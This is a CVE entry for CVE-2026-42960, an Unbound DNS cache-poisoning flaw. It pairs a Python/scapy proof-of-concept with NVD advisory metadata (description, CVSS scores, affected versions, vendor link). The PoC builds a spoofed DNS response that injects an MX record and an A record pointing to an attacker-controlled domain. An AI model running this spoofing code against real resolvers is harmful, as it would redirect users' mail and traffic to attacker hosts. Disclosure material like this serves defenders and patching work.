CVE-2026-42960

#!/usr/bin/env python3 # PoC for CVE-2026-42960: Unbound DNS Cache Poisoning # This script demonstrates crafting a malicious DNS response to poison the cache. # Usage: Requires scapy installed and root privileges. from scapy.all import * import random def build_spoofed_dns_response(src_ip, dst_ip, sport, dport, tx_id, qname): """ Constructs a malicious DNS response targeting the vulnerability. It injects a malicious MX record in the Authority section and a corresponding A record in the Additional section. """ # Define the malicious records malicious_mx_domain = "attacker-controlled.com" malicious_ip = "192.0.2.100" # Example malicious IP # Ethernet layer (optional, depending on network) # eth = Ether(dst="...") # IP layer ip = IP(src=src_ip, dst=dst_ip) # UDP layer udp = UDP(sport=53, dport=dport) # DNS layer # The vulnerability lies in accepting the A record for the MX domain # in the additional section based on trust in the authority section. dns = DNS( id=tx_id, qr=1, # Response aa=0, # Not Authoritative tc=0, # No truncation rd=1, # Recursion Desired ra=1, # Recursion Available z=0, rcode=0, # No Error qd=DNSQR(qname=qname, qtype='A'), # Leave Answer section empty or minimal an=None, # Authority Section: Inject non-NS record (MX) ns=[ DNSRR( rrname=qname, type='MX', ttl=3600, rdlen=None, rdata=f"10 {malicious_mx_domain}" ) ], # Additional Section: Inject address record for the MX domain ar=[ DNSRR( rrname=malicious_mx_domain, type='A', ttl=3600, rdata=malicious_ip ) ] ) return ip/udp/dns # Example of how to send (Simulation) # target_domain = "example.com" # victim_ip = "192.168.1.50" # spoofed_dns_ip = "192.168.1.1" # IP the victim trusts (e.g. upstream DNS) # packet = build_spoofed_dns_response(spoofed_dns_ip, victim_ip, 53, 54321, random.randint(1, 65535), target_domain) # send(packet)

{"cve": {"id": "CVE-2026-42960", "sourceIdentifier": "[email protected]", "published": "2026-05-20T10:16:28.037", "lastModified": "2026-05-20T22:51:43.680", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NLnet Labs Unbound up to and including version 1.25.0 is vulnerable to poisoning via promiscuous records for the authority section. Promiscuous RRSets that complement DNS replies in the authority section can be used to trick Unbound to cache such records. If an adversary is able to attach such records in a reply (i.e., spoofed packet, fragmentation attack) he would be able to poison Unbound's cache. A malicious actor can exploit the possible poisonous effect by injecting RRSets other than NS that are also accompanied by address records in a reply, for example MX. This could be achieved by trying to spoof a reply packet or fragmentation attacks. Unbound would then accept the relative address records in the additional section and cache them if the authority RRSet has enough trust at this point, i.e., in-zone data for the delegation point. Unbound 1.25.1 contains a patch with a fix that disregards address records from the additional section if they are not explicitly relevant only to authority NS records, mitigating the possible poison effect. This is a complement fix to CVE-2025-11411."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-349"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nlnetlabs:unbound:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.25.1", "matchCriteriaId": "45EC9AEF-23EC-4ECC-A769-18DF07B2CAEC"}]}]}], "references": [{"url": "https://www.nlnetlabs.nl/downloads/unbound/CVE-2026-42960.txt", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}